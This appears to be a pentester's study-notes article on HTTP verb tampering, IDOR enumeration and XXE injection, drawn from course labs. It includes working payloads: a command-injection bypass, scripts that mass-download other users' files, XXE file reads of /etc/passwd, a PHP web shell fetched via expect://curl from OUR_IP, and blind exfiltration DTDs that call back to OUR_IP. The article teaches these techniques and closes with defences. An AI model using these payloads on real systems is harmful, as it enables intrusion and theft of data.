Introduction
This topic brings together three very common web attack families: HTTP verb tampering, insecure direct object references, and XML external entity injection. They look different on the surface, but all three usually come from the same core weakness: the application trusts client-controlled input more than it should, and the backend does not enforce validation and authorization consistently. In practice, this means a tester can often move from a small logic flaw to data exposure, privilege escalation, or even server-side code execution.
From a testing perspective, these attacks reward careful observation more than noisy exploitation. A blocked button, a hidden JavaScript function, a predictable filename, or an XML request body can all reveal where the real weakness lives. The main idea is not to memorize isolated payloads, but to understand the backend assumptions behind them, because once you understand the assumption, you can usually adapt the attack to a different endpoint or framework.
HTTP Verb Tampering in Real Workflows
HTTP verb tampering appears when a web server or application protects a function only for some request methods but not for others. Many developers think mainly in terms of GET and POST, while the protocol also supports verbs such as HEAD, PUT, DELETE, OPTIONS, and PATCH. If access control or filtering logic is applied only to the expected method, a tester may be able to send a different verb and still trigger the same backend action without hitting the intended restriction.
This issue usually shows up in two patterns. The first is insecure server configuration, where authentication is limited to methods like GET and POST but a method such as HEAD is still accepted and processed. The second is insecure coding, where a security filter validates one source like $_POST['filename'] but the dangerous function later executes data from a broader source like $_REQUEST['filename'], which allows the payload to enter through a different method and bypass the filter entirely.
# Check which methods the server accepts
curl -i -X OPTIONS http://SERVER_IP:PORT/
# Typical result to look for
# Allow: POST,OPTIONS,HEAD,GET
In a practical assessment, the workflow is usually very direct. You identify a protected or filtered action, intercept it in Burp Suite, change the request method, and watch whether the backend still performs the action. If a reset button on /admin/reset.php returns 401 Unauthorized with GET, and maybe still with POST, but the server advertises HEAD, then replacing the first line of the request with HEAD /admin/reset.php HTTP/1.1 may execute the reset without returning the normal page body.
GET /admin/reset.php HTTP/1.1
Host: SERVER_IP:PORT
HEAD /admin/reset.php HTTP/1.1
Host: SERVER_IP:PORT
The same idea can bypass backend security filters. A file manager may reject a filename like test; when sent through the original form because the developer added a method-specific filter. If you intercept the request, switch the method, and resend a payload like file1; touch file2;, the application may stop showing the “Malicious Request Denied!” message while the backend still executes the command. When the page later shows both file1 and file2, you have confirmed that verb tampering was not just a cosmetic bypass but the path to real code execution.
IDOR Discovery, Mass Enumeration, and Obfuscated References
IDOR happens when the client can directly control an object reference and the backend does not verify whether that user is allowed to access the referenced object. The classic example is a parameter like ?uid=1 or ?file_id=123, but the same issue appears in filenames, API paths, cookies, and even encoded references. The vulnerability is not merely the existence of a direct reference; the real problem is broken object-level authorization behind it.
The easiest cases are predictable references. If /documents.php?uid=1 lists your documents and the HTML contains links such as /documents/Invoice_1_09_2021.pdf, changing the parameter to uid=2 may silently swap the visible files even if the page layout looks identical. Good testers always compare file names, response lengths, and linked resources, because many IDOR issues do not announce themselves loudly and instead reveal other users’ data in subtle ways.
# Manual discovery of linked files for another user
curl -s "http://SERVER_IP:PORT/documents.php?uid=3" | grep -oP "\\/documents.*?.pdf"
# Example output
# /documents/Invoice_3_06_2020.pdf
# /documents/Report_3_01_2020.pdf
Once the pattern is confirmed, mass enumeration becomes straightforward. Instead of changing uid values one by one in the browser, you can script the process and download every exposed document. This is a good example of how a low-complexity authorization flaw turns into broad data exposure very quickly once automation is added.
#!/bin/bash
url="http://SERVER_IP:PORT"
for i in {1..10}; do
for link in $(curl -s "$url/documents.php?uid=$i" | grep -oP "\\/documents.*?.pdf"); do
wget -q "$url$link"
done
done
Not every application exposes references in clear text, but obfuscation alone does not fix IDOR. In the lab flow from these notes, the frontend generated a contract parameter using CryptoJS.MD5(btoa(uid)), which looked opaque until the JavaScript revealed the exact transformation. Once the logic is understood, the reference becomes just as enumerable as a plain integer, because you can recreate the same encoding for any user ID and feed it back into the vulnerable endpoint.
# Reproduce the frontend logic: MD5(Base64(uid))
echo -n 1 | base64 -w 0 | md5sum
# Mass download using recreated hashes
#!/bin/bash
url="http://SERVER_IP:PORT/download.php"
for i in {1..10}; do
hash=$(echo -n $i | base64 -w 0 | md5sum | tr -d ' -')
curl -sOJ -X POST -d "contract=$hash" "$url"
done
This is why encoded references, hashes, or “hidden” JavaScript functions should never be treated as security controls. If the backend does not check ownership or role-based access for the requested object, a determined tester can usually reverse the transformation, automate it, and retrieve the full data set anyway.
IDOR in APIs and Privilege Escalation Chains
Modern applications often expose the same weakness through APIs rather than simple query parameters. A profile update request such as PUT /profile/api.php/profile/1 with a JSON body containing uid, uuid, role, and other fields is a strong signal that the client is sending object references and authorization-relevant data to the server. Even when the first few attacks fail, the response messages often explain exactly what the backend is validating and what information is still missing.
That is what makes API testing around IDOR so valuable. Changing uid may return uid mismatch, changing the path may return uuid mismatch, and switching to POST or DELETE may show that creation and deletion are “for admins only.” At first glance this looks secure, but it actually tells you the backend depends on object identifiers and role values provided in the request, which means a separate read-based IDOR may leak the missing uuid and the valid administrative role string.
PUT /profile/api.php/profile/1 HTTP/1.1
Content-Type: application/json
{
"uid": 1,
"uuid": "40f5888b67c748df....",
"role": "employee",
"full_name": "Amy Example",
"email": "a_example@employees.htb"
}
The breakthrough in this workflow comes from turning the same endpoint into a read primitive. If GET /profile/api.php/profile/2 returns another user’s full JSON object, then you now have that user’s uuid, role, and profile data. That leaked uuid can be reused in a later PUT request to modify that user’s profile, and mass enumeration over multiple user IDs can reveal a more privileged role such as web_admin, which can then be assigned to your own account if the backend fails to restrict role changes properly.
#!/bin/bash
url="http://SERVER_IP:PORT/profile/api.php/profile"
for i in {1..15}; do
response=$(curl -s -X GET "$url/$i")
if echo "$response" | grep -q '"role"'; then
echo "$response" | grep -E '"uid"|"uuid"|"role"|"full_name"'
echo "----------------------------------------"
fi
done
This is a classic example of vulnerability chaining. A read-based IDOR leaks object metadata, that metadata unlocks a write-based IDOR, and the write primitive allows privilege escalation once the correct role name is known. The lesson is important: applications frequently block the obvious direct attack but still fail because a related endpoint exposes the exact information needed to bypass the next check.
XXE File Disclosure, Source Exposure, and Code Execution Paths
XXE appears when an application accepts XML input and the parser is allowed to resolve external entities unsafely. XML itself is not the problem; the problem is insecure parsing behavior combined with user-controlled XML content. Once that happens, an attacker may define custom entities, reference local files, load remote DTDs, and in some cases pivot from file disclosure into code execution or out-of-band exfiltration.
The first test is usually a harmless proof of concept. If a form submits XML, you add a DOCTYPE, define an internal entity, and reference it in a reflected field such as email. When the server returns the value of &company; as Inlane Freight instead of the literal string, you know the parser is processing your entity declarations and the XML input is injectable.
<?xml version="1.0"?>
<!DOCTYPE email [
<!ENTITY company "Inlane Freight">
]>
<root>
<name>tester</name>
<tel>123456789</tel>
<email>&company;</email>
<message>probe</message>
</root>
After that, local file disclosure is the natural next step. Replacing the internal entity with an external one such as SYSTEM "file:///etc/passwd" tells the parser to fetch a local file and inject its contents into the XML response. This works well for text files, but source code files can break XML parsing because characters like <, >, and & may invalidate the document structure.
<?xml version="1.0"?>
<!DOCTYPE email [
<!ENTITY company SYSTEM "file:///etc/passwd">
]>
<root>
<name>tester</name>
<tel>123456789</tel>
<email>&company;</email>
<message>read passwd</message>
</root>
When direct file reads fail on PHP source, the php://filter wrapper becomes useful because it base64-encodes the file before the parser handles it. That turns potentially dangerous syntax into safe text, which you can then decode locally to recover the original source. This technique is especially valuable during web app testing because reading source code often reveals credentials, routes, hardcoded secrets, or secondary vulnerabilities that were not visible from the browser alone.
<!DOCTYPE email [
<!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
The notes also cover a more aggressive path from XXE to remote code execution. If PHP has dangerous modules enabled, an entity such as expect://curl$IFS-O$IFS'OUR_IP/shell.php' may let the server execute a command that downloads a web shell from your machine. It is not universally available, but it is an important reminder that XXE is not just a file-read issue: under the right parser and runtime conditions, it can become a route to arbitrary command execution.
# Create and host a basic PHP web shell
echo '<?php system($_REQUEST["cmd"]);?>' > shell.php
sudo python3 -m http.server 80
<?xml version="1.0"?>
<!DOCTYPE email [
<!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'OUR_IP/shell.php'">
]>
<root>
<name>tester</name>
<tel>123456789</tel>
<email>&company;</email>
<message>download shell</message>
</root>
Advanced and Blind XXE Exfiltration
Advanced XXE cases appear when the application does not reflect entity output directly or when the target file contains characters that break normal XML parsing. CDATA-based exfiltration solves the second problem by wrapping file content in a raw text section, but because XML does not let you concatenate internal and external entities freely in the main document, the clean solution is usually to host an external DTD that joins the pieces for you. This allows the parser to treat the target file as plain text even when the file contains markup-heavy source code.
# External DTD that joins CDATA + file + CDATA end
echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd
python3 -m http.server 8000
<?xml version="1.0"?>
<!DOCTYPE email [
<!ENTITY % begin "<![CDATA[">
<!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php">
<!ENTITY % end "]]>">
<!ENTITY % xxe SYSTEM "http://OUR_IP:8000/xxe.dtd">
%xxe;
]>
<root>
<name>tester</name>
<tel>123456</tel>
<email>&joined;</email>
<message>read source</message>
</root>
When nothing is reflected in the response, error-based and out-of-band techniques become more important. Error-based XXE forces the application to include file content inside a parser error by building an invalid entity chain around a local file. Blind OOB XXE goes one step further by making the server call back to your infrastructure with the base64-encoded file content embedded in the URL, which is ideal when the application returns neither reflected data nor useful errors.
# Listener that decodes exfiltrated content from GET requests
cat << 'EOF' > index.php
<?php
if(isset($_GET['content'])){
error_log("\n[+] File exfiltrated:\n" . base64_decode($_GET['content']) . "\n");
}
?>
EOF
php -S 0.0.0.0:8000
# External DTD for blind OOB exfiltration
cat << 'EOF' > xxe_oob.dtd
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">
EOF
<?xml version="1.0"?>
<!DOCTYPE email [
<!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe_oob.dtd">
%remote;
%oob;
]>
<root>
<name>tester</name>
<tel>123456</tel>
<email>&content;</email>
<message>blind read</message>
</root>
Manual OOB XXE is excellent for understanding the protocol flow, but automation helps when you need repeatability. XXEinjector can take a saved request, inject the payload automatically at a placeholder, retrieve the target file via HTTP OOB exfiltration, and store the decoded output in its log directory. For repeated testing against the same vulnerable endpoint, this is much faster than rebuilding DTDs and payloads by hand every time.
git clone https://github.com/enjoiz/XXEinjector.git
cd XXEinjector
cat << 'EOF' > xxe.req
POST /blind/submitDetails.php HTTP/1.1
Host: 10.129.201.94
Content-Type: text/plain;charset=UTF-8
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
XXEINJECT
EOF
ruby XXEinjector.rb --host=YOUR_IP --httpport=8000 --file=xxe.req --path=/etc/passwd --oob=http --phpfilter
cat Logs/10.129.201.94/etc/passwd.log
Defensive Takeaways
These three attack families are prevented in different ways, but they all benefit from the same engineering mindset: the server must make the trust decisions, not the client. For HTTP verb tampering, apply authentication and filtering consistently across every supported method, or better yet disable unnecessary verbs entirely. For IDOR, enforce object-level authorization on every read and write path, use a centralized RBAC model, and never rely on obscurity, hashes, or frontend logic as permission checks.
For XML processing, the safest approach is to disable dangerous parser features rather than trying to sanitize XML manually after the fact. External entities, custom DTD processing, parameter entities, and verbose runtime errors should all be restricted or disabled, and outdated XML-related components such as SOAP handlers, SVG parsers, and document processors should be kept current. When possible, simpler and safer data formats like JSON reduce the attack surface significantly compared with XML-heavy workflows.
From a pentesting perspective, the deeper lesson is that web attacks often chain better than they break loudly. A harmless-looking OPTIONS response can reveal a verb tampering path, a JavaScript helper can uncover a reversible object reference, and a quiet XML contact form can hide a full file disclosure primitive. That is why careful request analysis, response comparison, and small controlled experiments remain some of the highest-value habits in web application testing.
Reference
This article is based on my personal study notes from the Information Security Foundations track.
Full repository: https://github.com/lameiro0x/pentesting-path-htb